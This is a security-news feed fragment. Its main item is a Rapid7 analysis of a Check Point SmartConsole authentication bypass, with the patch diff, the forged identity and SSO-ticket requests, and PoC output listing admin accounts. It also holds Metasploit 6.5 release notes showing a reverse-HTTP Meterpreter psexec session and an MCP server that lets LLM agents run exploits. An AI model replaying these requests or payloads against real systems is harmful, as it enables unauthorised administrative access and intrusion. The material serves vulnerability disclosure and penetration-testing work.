<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/08/amazon-ordnet-npm-hijacks-nordkorea-zu-belege.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/08/amazon-ordnet-npm-hijacks-nordkorea-zu-belege.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/08/amazon-ordnet-npm-hijacks-nordkorea-zu-belege-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/08/amazon-ordnet-npm-hijacks-nordkorea-zu-belege-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/08/amazon-ordnet-npm-hijacks-nordkorea-zu-belege-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/08/amazon-ordnet-npm-hijacks-nordkorea-zu-belege-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/08/amazon-ordnet-npm-hijacks-nordkorea-zu-belege-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Amazon Threat Intelligence verknüpft mehrere npm-Kompromittierungen mit Nordkorea und nennt als Schlüsselmuster das Social Engineering eines Maintainers. Dabei sei ein Wallet-drosselnder Script in mindestens 18 Pakete gelangt, die zusammen mehr als 2 Mrd. Downloads pro Woche auf sich vereinten. Für Entwickler wird vor allem relevant, wie wenig belastbar die Zuordnung zwischen […]</p>
<div><a href="https://www.it-boltwise.de/amazon-ordnet-npm-hijacks-debug-chalk-und-typo-crypto-nordkorea-zu-belege-bleiben-duenn.html">... den vollständigen Artikel <strong>»Amazon ordnet npm-Hijacks debug, chalk und typo-crypto Nordkorea zu – Belege bleiben dünn«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/amazon-ordnet-npm-hijacks-debug-chalk-und-typo-crypto-nordkorea-zu-belege-bleiben-duenn.html">Amazon ordnet npm-Hijacks debug, chalk und typo-crypto Nordkorea zu – Belege bleiben dünn</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Check Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)]]></title>
<description><![CDATA[OverviewOn July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can ...]]></description>
<link>https://tsecurity.de/de/3697643/it-security-nachrichten/check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697643/it-security-nachrichten/check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/</guid>
<pubDate>Mon, 03 Aug 2026 00:06:52 +0200</pubDate>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 22, 2026, Check Point published a </span><a href="http://sk185169.md/"><span>security advisory</span></a><span> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-16232/"><span>CVE-2026-16232</span></a><span>, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). </span><span><strong>By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration.</strong></span><span> Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/"><span>exploited</span></a><span> in the wild as a zero-day vulnerability at the time of disclosure.</span></p><p></p><p><span>Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by </span><span><span data-type="inlineCode">getCertificateDnName()</span></span><span>. An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.</span></p><p></p><p><span>Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our </span><a href="https://github.com/sfewer-r7/CVE-2026-16232"><span>proof-of-concept</span></a><span> (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.</span></p><h2>Analysis</h2><p><span>SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.</span></p><p></p><p><span>The first is the legacy FWM/CPMI service, listening on TCP </span><span>18190</span><span>. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.</span></p><p></p><p><span>The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP </span><span>19009</span><span> under the URI path </span><span><span data-type="inlineCode">/cpmws/</span></span><span>. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry </span><span><span data-type="inlineCode">DLESESSIONID</span></span><span> and </span><span><span data-type="inlineCode">CLIENTSESSIONID</span></span><span> header values to prove a client is authenticated.</span></p><p></p><p><span>The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.</span></p><p></p><p><span>The diagram below shows the flow for exploiting CVE-2026-16232.</span></p><p><span></span></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1ff4314d8e4a6f3a/6a68f0e61337f73a300c766c/figure1.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure1.png" asset-alt="figure1.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1ff4314d8e4a6f3a/6a68f0e61337f73a300c766c/figure1.png" data-sys-asset-uid="blt1ff4314d8e4a6f3a" data-sys-asset-filename="figure1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure1.png" sys-style-type="display"></figure><p><span><em>Figure 1: Flow diagram of exploitation.</em></span></p><h3><span>The application authentication boundary</span></h3><p><span>The Java login service contains a bridge for FWM application based logins. The </span><span><span data-type="inlineCode">authenticateUser</span></span><span> method splits the supplied username into an application name and a SIC DN, then passes both into </span><span><span data-type="inlineCode">cpApplicationAuthentication()</span></span><span>. </span></p><p><span></span></p><pre language="java">// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // &lt;-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // &lt;-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// &lt;-- [3]
        authenticationInfoBase.setUsername(applicationName);</pre><p></p><p><span>At </span><span><span data-type="inlineCode">[1]</span></span><span> and </span><span><span data-type="inlineCode">[2]</span></span><span>, the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At </span><span><span data-type="inlineCode">[3]</span></span><span>, the untrusted DN claim reaches the remote application authenticator as a separate argument.</span></p><p></p><p><span>The method that consumes that identity is </span><span><span data-type="inlineCode">authenticateRemoteApplication()</span></span><span>. This method prefers the attacker-supplied DN whenever one is present.</span></p><p><span></span></p><pre language="java">// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // &lt;-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // &lt;-- [2]
  }
}</pre><p></p><p><span>The problem is at </span><span><span data-type="inlineCode">[1]</span></span><span>. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If </span><span><span data-type="inlineCode">suppliedSicDn</span></span><span> is present, the code never uses </span><span><span data-type="inlineCode">getCertificateDnName()</span></span><span> at all. The method then uses the attacker-controlled value at </span><span><span data-type="inlineCode">[2]</span></span><span> to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into </span><span><span data-type="inlineCode">:DN</span></span><span> and authenticate as a remote application without presenting a client certificate for that identity.</span></p><h3><span>What the patch changes</span></h3><p><span>Our analysis compares the decompiled </span><span><span data-type="inlineCode">com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl</span></span><span> class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.</span></p><p><span></span></p><pre language="diff">private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // &lt;-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) &amp;&amp; "CN=siclocal".equals(certificateDn);
+    if (localSic &amp;&amp; suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // &lt;-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // &lt;-- [3]
+        boolean mismatch = suppliedSicDn != null
+            &amp;&amp; StringUtils.isNotEmpty(certificateDn)
+            &amp;&amp; !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // &lt;-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // &lt;-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }</pre><p><span></span></p><p><span>Shown above, the vulnerable “Take 146” accepts the caller's DN at </span><span><span data-type="inlineCode">[1]</span></span><span>. The patched “Take 158” only allows a supplied DN for loopback </span><span><span data-type="inlineCode">CN=siclocal</span></span><span> traffic at </span><span><span data-type="inlineCode">[2]</span></span><span>, which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at </span><span><span data-type="inlineCode">[3]</span></span><span>, and any mismatch between the supplied DN and that authenticated identity is rejected at </span><span><span data-type="inlineCode">[4]</span></span><span>. The new empty identity check at </span><span><span data-type="inlineCode">[5]</span></span><span> also prevents a remote application login when there is no authenticated SIC identity at all.</span></p><p></p><p><span>This is why replaying the management server's DN no longer works. The attacker can still send the same </span><span><span data-type="inlineCode">:DN</span></span><span> text, but the patched remote path does not use that text as </span><span><span data-type="inlineCode">effectiveSicDn</span></span><span>. If the client presents no certificate, as in our PoC, </span><span><span data-type="inlineCode">certificateDn</span></span><span> is empty and the check at </span><span><span data-type="inlineCode">[5]</span></span><span> rejects the login. If the client presents a certificate with some other DN, the mismatch check at </span><span><span data-type="inlineCode">[4]</span></span><span> rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.</span></p><h3><span>Protocol flow to a SmartConsole session</span></h3><p><span>The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.</span></p><p></p><p><span>After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (</span><span><span data-type="inlineCode">cp_mgmt,o=gw-5622ca..5otbwa</span></span><span> in the example below):</span></p><p><span></span></p><pre language="html">(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # &lt;-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)</pre><p></p><p><span>Despite the </span><span><span data-type="inlineCode">:certificate_bind</span></span><span> field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the </span><span><span data-type="inlineCode">:DN</span></span><span> claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts </span><span><span data-type="inlineCode">:DN</span></span><span> as the effective SIC identity. The PoC then sends an </span><span><span data-type="inlineCode">open-database</span></span><span> request, shown below, and receives the application login token described in Check Point's advisory.</span></p><p><span></span></p><pre language="html">(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)</pre><p></p><p><span>The </span><span><span data-type="inlineCode">open-database</span></span><span> response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM </span><span><span data-type="inlineCode">DLESESSIONID</span></span><span> value.</span></p><p></p><p><span>The next step is to perform a </span><span><span data-type="inlineCode">gen-sso-token</span></span><span> request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims </span><span><span data-type="inlineCode">system_admin</span></span><span>, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):</span></p><p><span></span></p><pre language="html">(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)</pre><p></p><p><span>The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a </span><span><span data-type="inlineCode">gen-sso-token</span></span><span> request is allowed before the normal permission mask check, as shown in </span><span><span data-type="inlineCode">[1]</span></span><span> below. </span></p><p><span></span></p><pre language="c">// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) &amp;&amp; strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // &lt;-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}</pre><p></p><p><span>The </span><span><span data-type="inlineCode">gen-sso-token</span></span><span> response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:</span></p><p><span></span></p><pre language="html">POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

&lt;?xml version="1.0"?&gt;
&lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;soap:Body&gt;
    &lt;l:loginNew&gt;
      &lt;d:loginRequest&gt;
        &lt;d:applicationName&gt;SmartConsole&lt;/d:applicationName&gt;
        &lt;d:domain&gt;a0eebc99-afed-4ef8-bb6d-fedfedfedfed&lt;/d:domain&gt;
        &lt;d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo"&gt;
          &lt;d:username&gt;system_admin&lt;/d:username&gt;
          &lt;d:SSOToken&gt;512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e&lt;/d:SSOToken&gt;
        &lt;/d:authenticationInfo&gt;
      &lt;/d:loginRequest&gt;
    &lt;/l:loginNew&gt;
  &lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;</pre><p></p><p><span>The </span><span><span data-type="inlineCode">loginNew</span></span><span> response returns the two identifiers that SmartConsole uses for later requests:</span></p><p><span></span></p><pre language="xml">&lt;loginNewResponse&gt;
  &lt;return&gt;
    &lt;clientSessionId&gt;ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI&lt;/clientSessionId&gt;
    &lt;sid&gt;hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg&lt;/sid&gt;
  &lt;/return&gt;
&lt;/loginNewResponse&gt;</pre><p></p><p><span>At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by </span><span><span data-type="inlineCode">sid</span></span><span> and </span><span><span data-type="inlineCode">clientSessionId</span></span><span>. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.</span></p><p><span></span></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7ef0990da2020f17/6a68f2e978b5fe23148ef294/figure2.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure2.png" asset-alt="figure2.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7ef0990da2020f17/6a68f2e978b5fe23148ef294/figure2.png" data-sys-asset-uid="blt7ef0990da2020f17" data-sys-asset-filename="figure2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure2.png" sys-style-type="display"></figure><p><span><em>Figure 2: Audit Log IOC.</em></span></p><h2>Exploitation</h2><p><span>Our </span><a href="https://github.com/sfewer-r7/CVE-2026-16232"><span>PoC</span></a><span> implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .</span></p><p></p><p><span>The following shows our PoC running against a vulnerable R81.20 target.</span></p><p><span></span></p><pre language="html">$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD</pre><p></p><p><span>For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to </span><span><span data-type="inlineCode">getServerInfo</span></span><span>, and retrieves the SmartConsole admin accounts via a call to </span><span><span data-type="inlineCode">GetAllAdmins</span></span><span>.</span></p><p></p><p><span>First, the PoC uses the application token as a </span><span><span data-type="inlineCode">DLESESSIONID</span></span><span> value for </span><span><span data-type="inlineCode">PerformanceTestSvcRemote.getServerInfo</span></span><span>. The same SOAP method returns a fault without a valid session, while the application token returns the server information</span></p><p></p><p><span>The PoC then sends the same </span><span><span data-type="inlineCode">GetAllAdmins</span></span><span> query twice, once with the application token and once with the redeemed SmartConsole session.</span></p><p></p><p><span>Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.</span></p><p></p><p><span>Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.</span></p><p><span></span></p><pre language="html">$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.</pre><h2>Remediation</h2><p><span>For remediation guidance, please see Rapid7’s Emergent Threat Response </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/"><span>blog</span></a><span> for CVE-2026-16232 which contains further details.</span></p><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Framework 6.5 Released]]></title>
<description><![CDATA[Today we’re proud to announce that Metasploit Framework version 6.5 has been released. Over the past two years, with the help of countless contributors, we’ve added 422 new modules along with a whole slew of new features.Malleable C2 Profiles for HTTPOne of the latest and most requested features ...]]></description>
<link>https://tsecurity.de/de/3697639/it-security-nachrichten/metasploit-framework-65-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697639/it-security-nachrichten/metasploit-framework-65-released/</guid>
<pubDate>Mon, 03 Aug 2026 00:06:50 +0200</pubDate>
<content:encoded><![CDATA[<p>Today we’re proud to announce that Metasploit Framework version 6.5 has been released. Over the past two years, with the help of countless contributors, we’ve added 422 new modules along with a whole slew of new features.</p><h2>Malleable C2 Profiles for HTTP</h2><p>One of the latest and most requested features is support for Malleable C2 profiles across all current Meterpreter payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality. Due to the size restrictions on staged payloads, staged payloads will only use the Malleable C2 configuration once the stage has been loaded. Since stageless payloads skip the download phase, they immediately use the Malleable C2 configuration.</p><p>When a compatible payload has been selected, the user only needs to set the <span data-type="inlineCode">MALLEABLEC2</span> option to the profile on disk. The syntax for profiles is the same as in other tools which ensures that Metasploit is capable of loading <a href="http://github.com/BC-SECURITY/Malleable-C2-Profiles">publicly</a> available profiles. While not all of the directives are currently in use, additional improvements will be made in the future.</p><p>In the following example, an HTTP Meterpreter is deployed with a profile to emulate browsing Amazon.</p><pre>msf exploit(windows/smb/psexec) &gt; set PAYLOAD windows/x64/meterpreter_reverse_http
PAYLOAD =&gt; windows/x64/meterpreter_reverse_http
msf exploit(windows/smb/psexec) &gt; set MALLEABLEC2 amazon.profile
MALLEABLEC2 =&gt; amazon.profile
msf exploit(windows/smb/psexec) &gt; run
[*] Started HTTP reverse handler on http://192.168.159.128:8081/
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[!] 192.168.159.10:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.159.10:445 - Uploading payload... BqjvmNxF.exe
[*] 192.168.159.10:445 - Created \BqjvmNxF.exe...
[+] 192.168.159.10:445 - Service started successfully...
[*] 192.168.159.10:445 - Deleting \BqjvmNxF.exe...
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -&gt; UUID NjFswaV1VEGJ1ojU44aMCAHc2CTIr56KDkzFLcyRHZ8Go9fwFFaBp8QSiN6WYHoH5j-Oz81kEMXA9tYzxcpvs5e
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Attaching orphaned/stageless session...
[*] Meterpreter session 3 opened (192.168.159.128:8081 -&gt; 192.168.159.10:49853) at 2026-07-09 16:34:39 -0400

meterpreter &gt; getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter &gt; sysinfo
Computer        : DC
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter &gt;</pre><p>For more information, usage instructions, and what profile verbs are supported, see the <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-malleable-c2-profiles.html" target="_blank">Malleable C2 documentation</a>.</p><h2>Metasploit Framework 6.5 Release - MCP Server</h2><p>Metasploit 6.5 introduces the Metasploit MCP Server (<span data-type="inlineCode">msfmcpd</span>), a new middleware layer designed to facilitate secure, structured interactions between AI applications and the Metasploit Framework. By leveraging the Model Context Protocol, the server exposes 16 standardized tools—ranging from complex reconnaissance queries to active session management—allowing users to integrate Metasploit’s powerful capabilities directly into AI-driven environments like Claude or Cursor.</p><h3>Toolset Categorization</h3><p>The toolset is partitioned into two distinct categories to prioritize operator oversight:</p><ul><li><strong>Read-Only Tools:</strong> These 12 tools are available by default and provide deep access to the Framework's intelligence. This includes modules for searching available exploits, querying discovered host/service data, retrieving stored credentials, and monitoring active jobs or sessions. These tools allow an LLM to provide situationally aware advice without modifying the state of the target environment. Perfect for use in sensitive environments where full AI autonomy is barred.</li><li><strong>Dangerous Tools:</strong> To ensure safety, these 4 high-impact tools are disabled by default. This class includes methods for executing modules, using module checks, stopping sessions, and writing data to interactive sessions (like Meterpreter). To leverage these for automated exploitation, operators must explicitly enable them via CLI flag (<span data-type="inlineCode">--enable-dangerous-actions</span>), environment variable, or configuration key.</li></ul><h3>Example LLM Workflow</h3><p>With the MCP server configured, an LLM agent can automate parts of the penetration testing and vulnerability validation lifecycle. A typical workflow might look like this:</p><ol><li><strong>Reconnaissance:</strong> The LLM uses <span data-type="inlineCode">msf_host_info</span> and <span data-type="inlineCode">msf_service_info</span> to identify potential targets and msf_search_modules to find relevant exploits matching the target’s service versions.</li><li><strong>Validation:</strong> Upon selecting a module, the agent calls <span data-type="inlineCode">msf_module_check</span> (if enabled) to assess the target's susceptibility without triggering a full exploit attempt.</li><li><strong>Exploitation:</strong> If the check confirms vulnerability, the agent proceeds with <span data-type="inlineCode">msf_module_execute</span>, passing the necessary datastore options.</li><li><strong>Interaction:</strong> Once a session is established, the agent uses <span data-type="inlineCode">msf_session_list</span> to verify the connection and msf_session_read to parse session output, allowing it to interpret the environment and potentially <span data-type="inlineCode">msf_session_write</span> commands to further the engagement.</li></ol><p>This structure allows security professionals to offload repetitive telemetry gathering to AI agents while retaining a strict, policy-driven "human-in-the-loop" gate for all offensive actions.</p><h3>Starting the MCP Server</h3><p>You can start the server using the msfmcpd binary or directly within msfconsole:</p><pre>msf &gt; load mcp
msf &gt; mcp --help</pre><h4>Usage</h4><pre>msf &gt; mcp &lt;subcommand&gt; [options]</pre><h4>Subcommands:</h4><ul><li><span data-type="inlineCode">status</span>: Display MCP server status</li><li><span data-type="inlineCode">start</span>: Start the MCP server</li><li><span data-type="inlineCode">stop</span>: Stop the MCP server</li><li><span data-type="inlineCode">restart</span>: Restart the MCP server</li><li><span data-type="inlineCode">help</span>: Show this help message</li></ul><h4>Common Options:</h4><ul><li><span data-type="inlineCode">ServerHost=&lt;host&gt;</span>: Bind address (default: localhost)</li><li><span data-type="inlineCode">ServerPort=&lt;port&gt;</span>: MCP port (default: 3000)</li><li><span data-type="inlineCode">DangerousActions=&lt;true|false&gt;</span>: Enable destructive tools (default: false)</li><li><span data-type="inlineCode">RpcHost,RpcPort,RpcUser,RpcPass,RpcSSL</span>: RPC configuration settings.</li><li><span data-type="inlineCode">RateLimit=&lt;n&gt;</span>: Requests per minute (default: 60)</li></ul><h4>Examples:</h4><pre>msf &gt; mcp start
msf &gt; mcp start ServerPort=8080
